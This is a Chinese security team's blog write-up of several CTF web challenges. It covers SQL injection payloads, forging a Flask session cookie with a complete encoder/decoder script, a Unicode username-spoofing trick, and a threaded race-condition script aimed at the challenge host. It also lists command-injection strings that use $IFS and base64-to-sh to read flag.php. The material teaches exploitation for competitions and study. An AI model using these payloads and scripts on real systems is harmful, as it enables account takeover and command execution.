稻草人安全团队
SUCTF 2019EasySQL
SUCTF 2019 - EasySQL
fuzz一下怎么不小心把flagfuzz出来了...
这道题的源码是这样的:
背后的执行逻辑需要猜
通过fuzz及手动尝试:
大佬的思路是这样的
输入0输出为空
输入其他数字输出为1
输入其他字符输出为空
由此得出应该存在“||”,在mysql中是或的意思
因此可以猜测执行逻辑大概是
select 参数 || flag from flag;
Oracle 在缺省情况下支持使用 " || "连接字符串 , 但是在MySQL中缺省不支持 ,MySQL 缺省使用 CONCAT 系列函数来连接字符串 .
因此paylaod可以为:1;set sql_mode=PIPES_AS_CONCAT;SELECT 1
也可以为前面fuzz出来的 *,1
select *,1 || flag from flag;
同样能得到flag;
极客大挑战 2019 - EasySQL
极客大挑战 2019 - EasySQL
fuzz一下又出来了...
这题直接万能密码就ok了
HCTF 2018 - admin
HCTF 2018 - admin
方法一:伪造session
注册之后进入就这几个功能,右键查看可以看到几个tips
可以上github查看一下源码
根据you are not admin推测需要登录admin用户
看源码发现是flask,且有SECRET_KEY得值为ckj123
那么就可以伪造admin用户的session
可以使用python脚本加解密session:
解密:python flask_session_manager.py decode -c -s # -c是flask cookie里的session值 -s参数是SECRET_KEY
加密:python flask_session_manager.py encode -s -t # -s参数是SECRET_KEY -t参数是session的参照格式,也就是session解密后的格式
""" Flask Session Cookie Decoder/Encoder
解密:python flask_session_manager.py decode -c -s # -c是flask cookie里的session值 -s参数是SECRET_KEY
加密:python flask_session_manager.py encode -s -t # -s参数是SECRET_KEY -t参数是session的参照格式,也就是session解密后的格式
"""
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='',
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='',
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
将解密后的数据中admin1修改为admin,再加密为session
修改cookie即可
方法二:unicode伪造
查看源码可以看到
特意写了一个转换大小写的函数,查看nodeprep.prepare,归属于twisted
查看https://labs.spotify.com/2013/06/18/creative-usernames/
发现twisted旧版本存在一个字符串解析漏洞
unicode字符经过nodeprep.prepare处理之后,会发生变化
如 ª : ª
ª -> nodeprep.prepare(A ) = a
下面的脚本可以fuzz经过nodeprep.prepare处理后等于a的字符
from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
def fuzz(unicode):
return nodeprep.prepare(unicode)
dic = {}
for i in range(1,100000):
try:
if(fuzz(chr(i)) == 'a'):
dic[i] = chr(i)
except:
pass
print(dic)
得到的是The username has been registered
应该是ªdmin与admin判相等了
这时想到还有个更改密码的功能,同样利用了nodeprep.prepare来处理,如果注册成功之后的用户名再nodeprep.prepare,unicode欺骗一次等于admin的话,就可以修改admin的密码了
通过前面的fuzz代码:
{65: 'A', 97: 'a', 170: 'ª', 9398: 'Ⓐ', 9424: 'ⓐ', 65313: 'A', 65345: 'a'}
我们再加一层欺骗就够了
可能是本地版本问题...fuzz不出来
大佬文章:
ᴀʙᴄᴅᴇꜰɢʜɪᴊᴋʟᴍɴᴏᴘʀꜱᴛᴜᴠᴡʏᴢ
具体编码可查https://unicode-table.com/en/search/?q=small+capital
nodeprep.prepare会进行如下操作
ᴀ -> A -> a
即第一次将其转换为大写,第二次将其转换为小写
估计是环境问题...
方法三:条件竞争
登录这里不经验证直接设置了session['name']
修改密码这里则不经验证直接获取了session['name'],而后修改密码
从而我们可以通过条件竞争,在登录admin的同时,登录自己的账号并修改密码
那么就有可能修改密码时,session['name']恰好被修改为admin,完成了密码修改
代码:
import requests
import threading
def login(s, username, password):
data = {
'username': username,
'password': password,
'submit': ''
}
return s.post("http://admin.2018.hctf.io/login", data=data)
def logout(s):
return s.get("http://admin.2018.hctf.io/logout")
def change(s, newpassword):
data = {
'newpassword':newpassword
}
return s.post("http://admin.2018.hctf.io/change", data=data)
def func1(s):
login(s, 'admin1', 'admin1')
change(s, 'skysec')
def func2(s):
logout(s)
res = login(s, 'admin', 'skysec')
if '/index' in res.text:
print('finish')
def main():
for i in range(1000):
print(i)
s = requests.Session()
t1 = threading.Thread(target=func1, args=(s,))
t2 = threading.Thread(target=func2, args=(s,))
t1.start()
t2.start()
if __name__ == "__main__":
main()
复现没有成功...还不清楚为什么
GXYCTF2019 - Ping Ping Ping
GXYCTF2019 - Ping Ping Ping
命令拼接的各种骚操作
这一题考得是命令拼接的各种骚操作
要做的就是读取flag.php的内容
发现有过滤
linux下常见的空格绕过方式
IFS
{IFS}
$1 //$1改成$加其他数字貌似都行 IFS
<
<>
{cat,flag.php} //用逗号实现了空格功能
20
09
ps:有时会禁用cat:
解决方法是使用tac反向输出命令:
linux命令中可以加,所以甚至可以cat /flag
flag被过滤,我们可以采取拼接的方式
在bash中,可以赋值给变量再拿来用
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
记得要右键查看源码才看得到...
同样还有其他方法:
bash下或sh下
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash
再或者
反引号内的输出反过来作为cat的输入,内联执行:
?ip=127.0.0.1;cat$IFS$9`ls`
原文始发于微信公众号(稻草人安全团队):web刷题笔记(一)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论